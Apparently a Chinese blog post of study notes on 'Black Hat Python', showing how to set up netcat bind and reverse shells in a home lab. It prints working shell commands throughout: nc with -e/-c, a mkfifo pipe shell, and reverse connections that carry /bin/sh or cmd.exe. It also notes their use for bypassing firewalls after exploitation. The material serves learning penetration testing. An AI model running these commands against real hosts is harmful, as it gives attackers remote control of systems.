《Python 黑帽子》学习笔记 - netcat 介绍2- Day 6

上篇笔记对 netcat(nc) 的 HTTP 请求,端口扫描和代理等功能进行了测试,本篇笔记继续测试 nc 其他一些常用功能。

在渗透测试中,最好的方式是能够获取反向 shell (reverse shell) 或正向 shell (bind shell). 反向 shell 是从目标主机将 shell 连接处于监听状态的攻击方的方式。正向 shell 是攻击方通过特定端口连接目标主机 shell 的方式。

正向 shell (bind shell)

如果我们渗透的目标,有独立的公网 IP 和 Port, 并在外部可以访问到,可以尝试通过远程正向 shell 来对目标进行控制,有了 shell 很多操作将会非常方便。一般来说,会使用 telnet (默认端口23) 或 ssh (默认端口22) 来进行远程 shell. 但出于安全原因,主机上这两个命令经常不会主动安装,安装的话也需要管理员权限。我们可以用 netcat 创建远程 shell 来解决。

nc 在服务端监听端口,并带上执行命令(-c-e)的选项。

root@kali:~# nc -lvvp 7777 -c /bin/bash

客户端连接服务端。

nc 192.168.1.7 7777

服务端收到客户端连接后即运行 shell, 接收客户端命令,完成客户端 与 shell 的数据交互。

Kali 为服务端,即被攻击主机,shell 为 /bin/bash

bind-shell

Win7 为服务端,即被攻击主机,shell 为 cmd.exe

bind-shell-win7

如果 nc 没有执行命令(-c-e)功能,还可以使用管道的方式来模拟绑定 shell 的功能,即把 shell 的输入输出数据放在命名管道里,并在客户端和服务端进行数据交互。步骤说明如下:

  1. 首先创建一个名为 fifo 的命名管道文件,命名管道文件可以读取等待,作为暂存 shell 输入输出数据的地方。
  2. nc -lvp 7777 服务端监听端口,等待接收客户端连接,完成数据通信。(注意:管道只是暂存数据,服务端和客户端的数据仍旧会按照 nc 的编码来进行传输。不会出现数据去了管道,不会在网络传输了。这样理解对吗?)
  3. shell 的输入来自客户端发送过来的命令,所以把 nc 监听端口收到的数据管道(|)至 fifo 文件 即 nc -lvp 7777 > /tmp/fifo.
  4. cat /tmp/fifo | /bin/sh 把 fifo 文件内容管道至 shell. 即把客户端发送过来的命令传给 shell 执行。(注意:管道使命令平行执行,fifo 文件可以读取等待,如果是普通文件,cat 命令会尽快结束,然后开始读取空文件)
  5. /bin/sh -i 2>&1 | nc -lvp 7777 shell 执行完相应命令后把结果,以及标准错误流(2)都转到标准输出流(1)上,并管道至 nc, 这样客户端就能接收到 shell 执行的结果或错误。这里 -i 参数会给出一个提示符 #.
  6. nc -lvp 7777 > /tmp/fifo nc 再次接收客户端传过来的命令,并管道至 fifo 文件。
  7. 客户端用 nc 连接服务端,发起连接并完成数据通信。nc 192.168.1.7 7777

以 Kali 为服务端,运行:

root@kali:~# mkfifo /tmp/fifo
root@kali:~# cat /tmp/fifo | /bin/sh -i 2>&1 | nc -lvp 7777 > /tmp/fifo
listening on [any] 7777 ...

win7 为客户端,运行:

nc 192.168.1.7 7777

客户端连接服务端后,能够得到服务端一个 shell.

bind-shell-fifo

关于 /bin/sh -i 2>&1 补盲以下知识点:

UNIX 有几种输入输出流,它们分别与几个数字有如下的对应关系:0-标准输入流(stdin),1-标准输出流(stdout),2-标准错误流 (stderr)。2>&1 的意思就是将 stderr 重定向至 stdout ,并一起在屏幕上显示出来。如果不加数字,那么默认的重定向动作是针对 stdout(1)的,比如 ls -l > result 就等价于 ls -l 1 > result. 这样便于我们更普遍性的理解重定向过程。

反向 shell (reverse shell)

如果我们渗透的目标,是一个内部网络的主机,外部不能直接访问其地址和端口,可以用 反向 shell 的方式来连接处于监听状态的攻击方主机,以更好的控制目标,反向 shell 经常用来绕过本地防火墙的限制。

攻击方监听端口。

nc -lvp 3333

被攻击主机启动 shell, 并通过 nc 来发送 shell 的命令和运行结果。

nc 192.168.1.2 3333 -e /bin/sh  # Kali 为被攻击主机
nc 192.168.1.2 3333 -e cmd.exe  # Win7 为被攻击主机

Win7 为攻击方,Kali 为被攻击主机,测试结果为:

reverse-shell-1

Kali 为攻击方,Win7 为被攻击主机,测试结果为:

reverse-shell-2

执行程序

上面的正向和反向 shell 都是执行程序的特例,我们还可以执行其他程序,这里以执行 calc.exe 为例进行测试,我测试的 nc 版本在结束执行的程序后,nc 也会自动断开连接。

exec-calc

总结

本篇笔记测试了 netcat 的正向和反向 shell 功能,尤其反向 shell 是最重要的控制主机的方式。在利用漏洞渗透目标后,最常用的方式就是启动一个 shell, 并传回攻击方,通过这个 shell 做更进一步的拓展。

下一步,分析书中的 netcat 代码,并用 Python3 进行实现。

参考

https://www.oschina.net/translate/linux-netcat-command?lang=chs&page=1#

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值